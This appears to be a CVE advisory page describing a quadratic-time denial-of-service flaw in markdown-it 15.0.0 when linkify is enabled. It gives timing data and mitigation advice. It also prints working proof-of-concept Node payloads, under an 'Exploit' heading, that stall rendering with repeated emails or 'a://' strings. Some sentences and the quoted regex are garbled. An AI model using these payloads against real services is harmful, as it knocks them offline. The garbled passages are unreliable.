Listen to this Post
The vulnerability arises from two independent quadratic computational complexity paths within markdown-it’s `linkify: true` handling. Both issues are located in markdown-it’s own code, specifically in the core and inline linkify rules, rather than in the underlying linkify-it library, which remains linear on both payloads.
In src/rules_core/linkify.ts, the function `arrayReplaceAt` is called once per linkified text token, and each call rebuilds the entire children array. A paragraph containing N soft-broken lines is treated as a single inline token with approximately 2N children. This results in N rebuilds over a 2N array, creating quadratic time complexity. Schema-less emails are the payload that reaches this path, while http://` links are consumed earlier by the inline rule and never arrive as text tokens, keeping those linear.src/rules_inline/linkify.ts
In, the code executes `state.pending.match(SCHEME_RE)` at every occurrence of `://` in the source. The `state.pending` buffer is only truncated once a link is actually produced. Therefore, an unregistered scheme leaves the buffer growing, and every subsequent `://` rescans the entire accumulated content, leading to quadratic behavior.linkify: false`, the same inputs run in 25 to 131 milliseconds and remain flat.
A proof of concept demonstrates the issue with a clean install of version 15.0.0 from npm, using `new MarkdownIt({ linkify: true }).render(payload)` on Node 24. For a payload of `'[email protected]\n'.repeat(N)` ranging from 34KB to 273KB, the execution time increases from 1.1 seconds to 89 seconds as N grows from 5,000 to 40,000. For `'a://'.repeat(N)` ranging from 20KB to 156KB, the time increases from 0.25 seconds to 15.0 seconds. Doubling the input roughly quadruples the time in both cases. With
Controls for the first payload at N=20000 show that placing every email in a single text token takes 0.59 seconds, one email per paragraph takes 0.64 seconds, and soft-broken lines with nothing linkifiable take 42 milliseconds. This confirms the requirement for many children that are also linkifiable. For the second payload, replaying just the `SCHEME_RE` calls against the same growing prefixes without markdown-it accounts for 11.7 seconds of the 15 seconds total. Ordinary prose such as `’ping [email protected] ok\n’.repeat(20000)` at 293KB takes 31 seconds.
The caveat is that `linkify` is off by default, so only applications that enable it are affected. The impact is availability only; a few hundred KB of fairly ordinary markdown can pin one core for tens of seconds, and the quadratic nature causes rapid degradation with size. Nothing is read, written, or executed.
DailyCVE Form:
Platform: markdown-it
Version: 15.0.0
Vulnerability: quadratic complexity
Severity: medium
date: 2026-09-29
Prediction: 2026-10-15
What Undercode Say:
Analytics:
npm install [email protected] node -e "const MarkdownIt = require('markdown-it'); const md = new MarkdownIt({ linkify: true }); const N = 20000; const payload = '[email protected]\n'.repeat(N); console.time('render'); md.render(payload); console.timeEnd('render');"
node -e "const MarkdownIt = require('markdown-it'); const md = new MarkdownIt({ linkify: true }); const N = 20000; const payload = 'a://'.repeat(N); console.time('render'); md.render(payload); console.timeEnd('render');"
const SCHEME_RE = /^[a-z][a-z0-9+.-]:/;
let pending = '';
const N = 20000;
console.time('scheme');
for (let i = 0; i < N; i++) {
pending += 'a://';
pending.match(SCHEME_RE);
}
console.timeEnd('scheme');
Exploit: (Educational Purposes!)
const MarkdownIt = require('markdown-it');
const md = new MarkdownIt({ linkify: true });
const N = 40000;
const payload = '[email protected]\n'.repeat(N);
md.render(payload);
const MarkdownIt = require('markdown-it');
const md = new MarkdownIt({ linkify: true });
const N = 40000;
const payload = 'a://'.repeat(N);
md.render(payload);
Protection: from this CVE
Disable `linkify` unless required. Upgrade to a patched markdown-it release once available.
Impact:
Availability only. A few hundred KB of fairly ordinary markdown pins one core for tens of seconds, and because it is quadratic, it degrades quickly with size. Nothing is read, written, or executed.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
